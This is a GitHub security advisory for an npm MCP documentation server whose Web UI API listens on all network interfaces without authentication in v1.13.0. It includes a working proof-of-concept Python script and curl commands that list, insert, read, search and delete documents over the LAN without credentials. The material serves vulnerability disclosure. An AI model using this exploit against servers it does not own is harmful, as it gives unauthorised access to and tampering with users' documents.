GitHub Advisoryadvisory Β· npm
GHSA-6f5r-5672-72j7 @andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default
HIGH
Official page β
- Aliases
- CVE-2026-54504
- Ecosystem
- npm
- Packages
- @andrea9293/mcp-documentation-server
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-306, CWE-668
- Reviewed
- 2026-07-15
Affected packages
β’ npm @andrea9293/mcp-documentation-server: >= 1.13.0, < 1.13.1 β fixed in 1.13.1
Description
Summary
`@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication.
As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.
The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.
Details
The README documents that the Web UI starts automatically and tells users to open:
```text
http://localhost:3080
```
It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults.
The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.
In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`:
```ts
if (process.env.START_WEB_UI !== 'false') {
initializeDocumentManager().then(manager => {
return startWebServer(undefined, manager);
}).then(() => {
console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
})...
}
```
In `src/web-server.ts`, the Express app appears to listen with only the port:
```ts
const server = app.listen(PORT, () => {
console.log(`\n π MCP Documentation Server - Web UI`);
console.log(` ββββββββββββββββββββββββββββββββββββ`);
console.log(` Local: http://localhost:${PORT}`);
console.log(` Network: http://0.0.0.0:${PORT}\n`);
});
```
With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in:
```text
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
```
The exposed API includes document-admin operations such as:
```text
GET /api/documents
GET /api/documents/:id
POST /api/documents
POST /api/search-all
DELETE /api/documents/:id
GET /api/config
```
I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded.
PoC
Tested on v1.13.0.
1. Build from source
```bash
cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch
git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server
git rev-parse HEAD
npm install --no-audit --no-fund
npm run build
ls -l dist/server.js
node -p "require('./package.json').version"
```
Expected version:
```text
1.13.0
```
2. Start the server with default Web UI behavior
Do not set `START_WEB_UI=false`.
```bash
rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base
MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
/tmp/docsrv_stdout.log \
2>/tmp/docsrv_stderr.log &
DOCSRV_PID=$!
sleep 5
echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd
```
3. Confirm that the Web UI/API binds to all interfaces
```bash
ss -ltnp | grep ':3080' || true
```
Observed:
```text
LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))
```
This indicates the service is not bound only to `127.0.0.1`.
4. Confirm that the API is reachable through the LAN IP
```bash
LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"
curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echo
```
Observed:
```text
LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}
```
No authentication header was sent.
5. Full unauthenticated document-admin PoC
```bash
cat > /tmp/docsrv_unauth_poc.py 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
BASE = f"http://{HOST}:{PORT}"
def req(method, path, body=None):
data = json.dumps(body).encode() if body is not None else None
headers = {"Content-Type": "application/json"} if body is not None else {}
r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
with urllib.request.urlopen(r, timeout=10) as resp:
raw = resp.read().decode()
try:
return resp.status, json.loads(raw or "null")
except Exception:
return resp.status, raw
def main():
print(f"[poc] target = {BASE}")
print("[poc] no Authorization header is sent")
status, config = req("GET", "/api/config")
print(f"[0] config: HTTP {status}, {config}")
status, docs = req("GET", "/api/documents")
print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}")
marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api"
body = {
"title": "network-inserted-test-document",
"content": marker + "\nThis document was inserted through the unauthenticated network API.",
"metadata": {"source": "unauth-network-poc"}
}
status, added = req("POST", "/api/documents", body)
print(f"[2] add document: HTTP {status}, response={added}")
doc_id = None
if isinstance(added, dict):
doc_id = added.get("id") or added.get("document", {}).get("id")
if not doc_id:
status, docs = req("GET", "/api/documents")
for d in docs:
if d.get("title") == "network-inserted-test-document":
doc_id = d.get("id")
break
if not doc_id:
raise RuntimeError("could not locate inserted document id")
print(f"[2] inserted id={doc_id}")
status, doc = req("GET", f"/api/documents/{doc_id}")
content = doc.get("content", "") if isinstance(doc, dict) else str(doc)
print(f"[3] read document: HTTP {status}, marker_present={marker in content}")
status, hits = req("POST", "/api/search-all", {
"query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted",
"limit": 5
})
print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}")
status, deleted = req("DELETE", f"/api/documents/{doc_id}")
print(f"[5] delete document: HTTP {status}, response={deleted}")
print("[poc] DONE")
if __name__ == "__main__":
main()
PY
chmod +x /tmp/docsrv_unauth_poc.py
```
Run against localhost:
```bash
python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080
```
Observed:
```text
[poc] target = http://127.0.0.1:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE
```
Run the same PoC against the host's LAN IP:
```bash
LAN_IP=$(hostname -I | awk '{print $1}')
python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080
```
Observed:
```text
[poc] target = http://10.0.250.230:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] reaβ¦
Related
Alias Β· CVE (1)
- CVE-2026-54504 MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. vulnerability
References
- https://github.com/andrea9293/mcp-documentation-server/security/advisories/GHSA-6f5r-5672-72j7 web
- https://github.com/andrea9293/mcp-documentation-server/commit/37159d4e06b8ee50c3645b2496e3d3f6d32c47f9 web
- https://github.com/andrea9293/mcp-documentation-server package
- https://github.com/andrea9293/mcp-documentation-server/releases/tag/v1.13.1 web